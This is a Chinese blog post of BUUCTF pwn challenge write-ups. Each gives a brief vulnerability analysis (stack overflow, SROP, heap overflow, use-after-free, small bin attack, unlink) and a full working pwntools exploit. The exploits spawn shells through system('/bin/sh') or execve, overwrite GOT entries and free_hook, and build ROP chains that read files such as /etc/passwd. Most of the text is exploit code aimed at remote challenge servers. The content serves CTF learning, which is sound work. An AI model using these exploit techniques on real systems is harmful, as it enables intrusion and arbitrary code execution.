BUUCTF-PWN做题笔记

January 26, 2020 CTF-Writeup 访问: 34 次

记录一下刷题!!

PWN

CISCN-S-3

在IDA中发现,程序并不复杂,main函数中调用vuln函数,vuln函数如下所示:

.text:00000000004004ED                 push    rbp
.text:00000000004004EE                 mov     rbp, rsp
.text:00000000004004F1                 xor     rax, rax
.text:00000000004004F4                 mov     edx, 400h       ; count
.text:00000000004004F9                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE                 mov     rdi, rax        ; fd
.text:0000000000400501                 syscall                 ; LINUX - sys_read
.text:0000000000400503                 mov     rax, 1
.text:000000000040050A                 mov     edx, 30h        ; count
.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514                 mov     rdi, rax        ; fd
.text:0000000000400517                 syscall                 ; LINUX - sys_write
.text:0000000000400519                 retn

其中通过syscall来调用readwrite函数,read存在栈溢出
观察后还发现一个gadgets函数,其中只是把rax置为0x0f

.text:00000000004004D6                 public gadgets
.text:00000000004004D6 gadgets         proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6                 push    rbp
.text:00000000004004D7                 mov     rbp, rsp
.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1                 retn

在64为系统调用表中,系统调用号为15的是rt_sigreturn,于是就想到了SROP,在程序中没有找到/bin/sh字符串,所以要想办法输入程序中
存在栈溢出并且还可以将栈地址打印出来,算出来栈上/bin/sh地址,然后布置栈上数据,最后返回到syscall上即可
EXP:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'
context.arch="amd64"
debug = 0
file_name = './ciscn_s_3'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '29447'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
def debug():
    gdb.attach(r,"b *0x000000000400519")
    raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
# print type(frame)
target = 0x0000000004004ED
payload = "/bin/sh\x00"+"a"*0x8+p64(target)
# debug()
sd(payload)
r.recv(0x20)
stack = u64(r.recv(8))
binsh_addr = stack-0x118
syscall_addr = 0x000000000400501
li("binsh_addr : ",binsh_addr)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload = str(frame)
aa = 0x4004DA
payload = "/bin/sh\x00"+"a"*0x8+p64(aa)+p64(syscall_addr)+payload
# debug()
sd(payload)
ri()

babyfengshui

这道题费了老半天的劲,发现libc版本不对,emmm
这是一道32位的队题,基础题
漏洞点在输入函数中

unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]
  v4 = __readgsdword(0x14u);
  if ( a1 < index && heap_list[a1] )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (v3 + *heap_list[a1]) >= heap_list[a1] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    read_str(*heap_list[a1], v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}

长度限制存在逻辑错误,可导致堆溢出,利用这个可以泄漏libc地址,然后覆盖free-gotsystem即可获取到shell
EXP:

from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './babyfengshui_33c3_2016'
libc_name = './libc-2.23.so'
context.arch = 'i386'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '29749'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def add(chunk_size,name,input_len,value):
    ru('Action: ')
    sl('0')
    ru('size of description: ')
    sl(str(chunk_size))
    ru('name: ')
    sl(name)
    ru('text length: ')
    sl(str(input_len))
    ru('text: ')
    sl(value)
def delete(index):
    ru('Action: ')
    sl('1')
    ru("index: ")
    sl(str(index))
def show(index):
    ru('Action: ')
    sl('2')
    ru("index: ")
    sl(str(index))
def edit(index,input_len,value):
    ru('Action: ')
    sl('3')
    ru("index: ")
    sl(str(index))
    ru('text length: ')
    sl(str(input_len))
    ru("text: ")
    sl(value)
def debug():
    gdb.attach(r)
    raw_input()
add(0x18,"1111",0x18,"aaaa")
add(0x28,"2222",0x28,"bbbb")
delete(0)
add(0x80,"/bin/sh\x00",0x80,"/bin/sh\x00")
add(0x18,"/bin/sh\x00",0x18,"/bin/sh\x00")
add(0x8,"/bin/sh\x00",0x8,"/bin/sh\x00")
offset = 0x10*13
payload = offset*"a"+p32(0)+p32(0x89)+p32(file.got['free'])
edit(3,0x100,payload)
show(1)
ru("description: ")
free_addr = u32(r.recv(4))
libc_base = free_addr-libc.symbols['free']
li("libc_base",libc_base)
system_addr = libc_base + libc.symbols['system']
# payload = offset*"a"+p32(0)+p32(0x89)+p32(malloc_hook)
# edit(3,0x100,payload)
# li("malloc_hook",malloc_hook)
edit(1,0x4,p32(system_addr))
# print len(str(frame))
# debug()
delete(4)
ri()
'''
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL
0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL
0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL
0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL
0x5fbc5 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL
0x5fbc6 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
'''

Babyrop

基础题
Exp:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './babyrop'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '25114'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
def debug():
    gdb.attach(r,"b *00000000004005FE")
    raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
r.recv()
pop_rdi = 0x0000000000400683
system_addr = file.plt['system']
binsh_addr = 0x000000000601048
# debug()
payload = "a"*0x18+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
sl(payload)
ri()

ciscn_2019_n_8

简单的变量覆盖
EXP:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './ciscn_2019_n_8'
libc_name = '/lib/i386-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '25641'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
file = ELF(file_name)
def debug():
    gdb.attach(r)
    raw_input()
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("What's your name?")
payload = "a"*(4*13)+p32(17)
sd(payload)
ri()

pwn2_sctf_2016

ret2libc
EXP:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './pwn2_sctf_2016'
libc_name = 'libc-2.23.so'#'/lib/i386-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '29179'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
file = ELF(file_name)
def debug():
    gdb.attach(r)
    raw_input()
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("How many bytes do you want me to read? ")
sl("-1")
main_addr = 0x80485B8
payload = "a"*(0x2c+4)+p32(file.plt['printf'])+p32(main_addr)+p32(0x80486F8)+p32(file.got['printf'])
ru("of data!\n")
# debug()
sl(payload)
ru("ou said: ")
ru("ou said: ")
libc_base = u32(r.recv(4))-libc.symbols['printf']
li("libc_base",libc_base)
system_add = libc_base+libc.symbols['system']
binsh = libc_base+0x0015902b
ru("How many bytes do you want me to read? ")
sl("-1")
main_addr = 0x80485B8
payload = "a"*(0x2c+4)+p32(system_add)+p32(main_addr)+p32(binsh)
ru("of data!\n")
# debug()
sl(payload)
ri()

ez_pz_hackover_2016

同上ret2libc
EXP:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './ez_pz_hackover_2016'
libc_name = "libc-2.23.so"#'/lib/i386-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '25657'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
file = ELF(file_name)
def debug():
    gdb.attach(r)
    raw_input()
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("> ")
main_addr = 0x80486E2
payload = "crashme\x00"+"a"*(0x32+4-8-28)+p32(file.plt['printf'])+p32(main_addr)+p32(0x8048845)+p32(file.got['printf'])
# debug()
sl(payload)
ru("Welcome ")
ru("Welcome ")
libc_base = u32(r.recv(4))-libc.symbols['printf']
li("libc_base",libc_base)
# system = libc_base + libc.symbols['system']
system_add = libc_base+libc.symbols['system']
binsh = libc_base+0x0015902b
ru("> ")
payload = "crashme\x00"+"a"*(0x32+4-8-28)+p32(system_add)+p32(main_addr)+p32(binsh)
# debug()
sl(payload)
ri()

[2020 新春红包题]3

这道题质量是很不错的。我的做法是非预期的。我先说一下我的做法:

非预期解法

cannary以外其他保护全开,并且不能够通过system('bin')起shell
delete中存在UAF666选项中存在溢出,刚好可以覆盖到返回地址,然后申请堆快的地址存在栈上,而在heap_addr上原本存在栈地址,而且是heap_addr范围内的,所以我们可以进行伪造成一开始申请的0x1000的堆块,再申请即可修改0x1000堆块的内容
攻击流程:
- 泄漏libc和heap地址
- 修改栈上的数据
- free掉0x1000,并申请到需要修改的地方
- 进行ROP读取flag
EXP:


from pwn import *
import sys
#
context.terminal=['tmux','split','-h']
context.log_level='debug'
debug =0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '28490'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def create(index,chunk_size,value):
    ru('Your input: ')
    sl('1')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
    sl(str(chunk_size))
    ru('Please input content: ')
    sl(value)
def delete(index):
    ru('Your input: ')
    sl('2')
    ru('Please input the red packet idx: ')
    sl(str(index))
def show(index):
    ru('Your input: ')
    sl('4')
    ru('Please input the red packet idx: ')
    sl(str(index))
def edit(index,value):
    ru('Your input: ')
    sl('3')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('Please input content: ')
    sl(value)
def debug():
    gdb.attach(r)
    raw_input()
'''
for x in range(9):
    create(x,3,"1111")
'''
create(0,3,"1111")
create(1,3,"1111")
create(3,3,"1111")
create(4,3,"1111")
create(5,3,"1111")
create(6,3,"1111")
create(7,3,"1111")
create(8,3,"1111")
create(9,3,"1111")
create(10,3,"1111")
'''
for x in range(8):
    delete(x)
'''
delete(0)
delete(1)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)
delete(8)
show(8)
data = rud("Done!")
#print data[:6].encode("hex"
main_arean= u64(data[:6]+"\x00\x00")
libc_base = u64(data[:6]+"\x00\x00")-0x1e4ca0
li("libc_base",libc_base)
show(1)
data = rud("Done!")
one_heap_addr = u64(data[:6]+"\x00\x00")#-0x270
li("one_heap_addr",one_heap_addr)
#ru('Your input: ')
heap_1000_addr = one_heap_addr -0x1020+0x10
target_heap_addr = one_heap_addr-0x820
li("target_addr",target_heap_addr)
#edit(7,p64(main_arean)+p64(target_heap_addr))
li("one_heap_addr",one_heap_addr)
li("target_addr",target_heap_addr)
#edit(7,p64(main_arean)+p64(target_heap_addr))
#create(9,3,"aaaa")
li("libc_base",libc_base)
li("heap_1000",heap_1000_addr)
edit(2,p64(heap_1000_addr)+p32(0x100))
delete(5)
create(9,4,"a"*(0x400-1))
create(10,4,"\x00"*0x3f0+p64(0x7F0000000001))
create(11,4,"1111")
create(11,4,"1111")
create(11,4,"1111")
p_rbp = 0x00000000000253a6+libc_base
read_addr = libc.symbols['read']+libc_base
open_addr = libc.symbols['open']+libc_base
write_addr = libc.symbols['write']+libc_base
p_rdi = libc_base+0x0000000000026542
p_rsi = libc_base+0x0000000000026f9e
p_rdx = libc_base+0x000000000012bda6
create(11,4,"/links.txt\x00"+"11111"+p64(p_rbp)+p64(0x26b0+one_heap_addr+0x100)+p64(p_rdi)+p64(0x26b0+one_heap_addr+0x10)+p64(p_rsi)+p64(0)+p64(p_rdx)+p64(0)+p64(open_addr)+p64(p_rdi)+p64(3)+p64(p_rsi)+p64(one_heap_addr)+p64(p_rdx)+p64(0x100)+p64(read_addr)+p64(p_rdi)+p64(1)+p64(p_rsi)+p64(one_heap_addr)+p64(p_rdx)+p64(0x100)+p64(write_addr))
#create()
#debug()
ru('Your input: ')
sl('666')
ru("What do you want to say?")
#payload = "a"*0x80
li("one_heap_addr",one_heap_addr)
heap_payload = 0x26b0+one_heap_addr
leave_ret_addr = 0x000000000058373+libc_base
payload = "a"*0x80+p64(heap_payload+0x18)+p64(leave_ret_addr)
#debug()
li("heap_payload",heap_payload)
li("libc_base",libc_base)
sd(payload)
ri()

预期解法

预期解法是small bin attack
uaf+small bin attack + ROP组合拳来获取flag
EXP:

from pwn import *
import sys
context.terminal=['tmux','split','-h']
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '25798'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def create(index,chunk_size,value):
    ru('Your input: ')
    sl('1')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
    sl(str(chunk_size))
    ru('Please input content: ')
    sl(value)
def delete(index):
    ru('Your input: ')
    sl('2')
    ru('Please input the red packet idx: ')
    sl(str(index))
def show(index):
    ru('Your input: ')
    sl('4')
    ru('Please input the red packet idx: ')
    sl(str(index))
def edit(index,value):
    ru('Your input: ')
    sl('3')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('Please input content: ')
    sl(value)
def debug():
    gdb.attach(r)
    raw_input()
# 1.0x10 2.0xf0 3.0x300 4.0x400
for x in range(8):
    create(x,4,"\x44")
    # delete(x)
create(9,1,"\x11")
for x in range(8):
    delete(x)
show(1)
data = rud("Done!")
one_heap_addr = u64(data[:6]+"\x00\x00")-0x10
target_addr = one_heap_addr-0x1010
show(7)
data = rud("Done!")
libc_base = u64(data[:6]+"\x00\x00")-0x1e4ca0
# for x in range(5):
create(0,4,"\x33")
num = [5,6,7,8,9]
for x in num:
    create(x,2,"\x22")
    delete(x)
create(0,4,"\xff")
create(0xf,3,"\x33")
delete(0)
create(1,3,"\x33")
create(0xf,3,"\x33")
create(2,4,"\x44")
create(0xf,3,"\x33")
delete(2)
create(3,3,"\x33")
create(4,4,"\x44")
create(0xf,3,"\x33")
delete(4)
create(5,3,"\x44")
create(0xf,3,"\x33")
payload = "a"*(0x308)+p64(0x101)+p64(one_heap_addr+0x26c0)+p64(target_addr+0x800)
edit(4,payload)
create(0xf,2,"\xff")
payload_addr = one_heap_addr+0x4120
p_rbp = 0x00000000000253a6+libc_base
read_addr = libc.symbols['read']+libc_base
open_addr = libc.symbols['open']+libc_base
write_addr = libc.symbols['write']+libc_base
p_rdi = libc_base+0x0000000000026542
p_rsi = libc_base+0x0000000000026f9e
p_rdx = libc_base+0x000000000012bda6
payload = "/etc/passwd\x00"+"1111"+p64(p_rbp)+p64(payload_addr+0x90)+p64(p_rdi)+p64(payload_addr+0x10)+p64(p_rsi)+p64(0)+p64(p_rdx)+p64(0)+p64(open_addr)
payload += p64(p_rdi)+p64(3)+p64(p_rsi)+p64(one_heap_addr)+p64(p_rdx)+p64(0x100)+p64(read_addr)
payload += p64(p_rdi)+p64(1)+p64(p_rsi)+p64(one_heap_addr)+p64(p_rdx)+p64(0x100)+p64(write_addr)
create(0,4,payload)
ru('Your input: ')
sl("666")
ru("What do you want to say?")
li("one_heap_addr",one_heap_addr)
li("target_addr",target_addr)
li("libc_base",libc_base)
li("payload_addr",payload_addr)
leave_ret_addr = 0x000000000058373+libc_base
payload = "a"*0x80+p64(payload_addr+0x18)+p64(leave_ret_addr)
# debug()
sd(payload)
ri()

qwb2018_raisepig

ubuntu 18.04 保护全开,存在UAF

exp:

from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './raisepig'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '28725'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

file = ELF(file_name)

sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def add(chunk_size,value,value_2):
    ru('Your choice : ')
    sl('1')
    ru('Length of the name :')
    sl(str(chunk_size))
    ru('The name of pig :')
    sl(value)
    ru("The type of the pig :")
    sl(value_2)
def delete(index):
    ru('Your choice : ')
    sl('3')
    ru('Which pig do you want to eat:')
    sl(str(index))
def show():
    ru('Your choice : ')
    sl('2')
def delete_all(index,value):
    ru('Your choice : ')
    sl('4')
def debug():
    gdb.attach(r)
    raw_input()
# add(0x80,"pig_0","type_0")
# add(0x80,"pig_1","type_1")
# add(0x10,"pig_2","type_2")

add(0x28,"/bin/sh\x00","type")
for x in range(8):
    add(0x80,"pig_1","type_1")
add(0x10,"pig_2","type_2")
# show()
delete(1)
add(0x80,"pig_3","type_3")
for x in range(2,9):
    delete(x)
delete(1)
show()
ru("Name[10] :")
libc_base = u64(rud("\x0a")+"\x00\x00")-0x3ebca0
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc_hook = libc_base + libc.symbols['__realloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system'] 
li("libc_base",libc_base)
add(0x68,"pig_f","type_f")
delete(11)
delete(11)
delete(11)
# delete(11)
add(0x68,p64(free_hook),"change")
add(0x68,"aaa","aaa")
add(0x68,p64(system_addr),"aaa")
# debug()
# add(0x10,"a","a")
# for x in range(9):
#     delete(11)
# ru('Your choice : ')
# sl("1")
delete(0)
ri()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

qwb2019_one

abs漏洞和strchr函数的使用不当,libc-2.27上的unlink
exp:

from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './one'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '29385'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

file = ELF(file_name)

sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def debug():
    gdb.attach(r)
    raw_input()
def add(value):
    ru('command>> ')
    sl('1')
    ru('Now, you can input your test string:')
    sd(value)
def delete(index):
    ru('command>> ')
    sl('4')
    ru('Please give me the index of the string:')
    sl(str(index))
def show(index):
    ru('command>> ')
    sl('3')
    ru('Please give me the index of the string:')
    sl(str(index))
def edit(index,ch,value):
    ru('command>> ')
    sl('2')
    ru('Please give me the index of the string:')
    sl(str(index))
    ru('Which char do you want to edit:')
    # debug()
    sd(ch)
    ru("What do you want to edit it into:")
    sl(value)

def gift(number):
    ru("command>> ")
    sl("12580")
    ru("Do you want to use one?(Y/N)")
    sl("Y")
    ru("Here are 5 strings to be tested. Which one do you want to test?")
    sl(str(number))


li("free_got",file.got['free'])
gift(0x80000000)
ru("The string:\n")
elf_base = u64(rud("\x0a")+"\x00\x00")-0x2030C0
li("elf_base",elf_base)
padding = []
for x in range(0x20):
    padding.append(chr(0xa0+x))

padding_str = ""#0xa0~0xbf
for x in padding:
    padding_str+=x
# print(padding_str)

target_addr= elf_base+0x0000000002030c8
fd=target_addr - 0x18
bk=target_addr - 0x10
fake_chunk='a'*0x8 # prev_size
fake_chunk+=p64(0x31) # size
fake_chunk+=p64(fd)+p64(bk)
add("a"*0x20)
add(padding_str)
add("a"*0x20)
add("/bin/sh\x00")
for i in range(16):
    add('\n')

for x in range(0x10):
    edit(1,"\x00","\xaa")
for x in range(0x8):
    edit(1,'\x00',chr(0xf0+x))
edit(1,'\x00',"\x04")
edit(1,'\x41\n','\x40')

fack_size = p64(0x30)
for x in range(0x8):
    edit(1,chr(0xf7-x)+"\n",fack_size[::-1][x])
for x in range(0x20):
    edit(1,padding_str[::-1][x]+"\n",fake_chunk[::-1][x])

#unlink
delete(2)

for x in range(0x10):
    edit(1,"\x00","\xaa")

show(1)
ru("\xaa"*0x10)
heap_addr = u64(rud("\x0a")+"\x00\x00")
li("heap_addr",heap_addr)
for x in range(2):
    edit(1,"\x00","\xaa")

for x in range(6):
    edit(1,p64(heap_addr)[x]+"\n","\xaa")
for x in range(0x19):
    edit(1,"\xaa\n",padding_str[x])#0xa0~0xb8
puts_got = file.got['puts']+elf_base
for x in range(8):
    edit(1,chr(0xb8-x)+"\n",p64(puts_got)[::-1][x])
show(0)
ru("The string is:\n")
libc_base = u64(rud("\x0a")+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)

for x in range(2):
    edit(1,"\x00","\xaa")
for x in range(6):
    edit(1,p64(puts_got)[x]+"\n","\xaa")
for x in range(8):
    edit(1,'\xaa\n',chr(0xf0+x))

free_hook = libc_base + libc.symbols['__free_hook']
li("free_hook",free_hook)
for x in range(8):
    edit(1,chr(0xf7-x)+"\n",p64(free_hook)[::-1][x])

system_addr = libc_base + 0x4f322#libc.symbols['system']
for x in range(8):
    edit(0,"\x00",p64(system_addr)[x])
# debug()
delete(0)
ri()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

添加新评论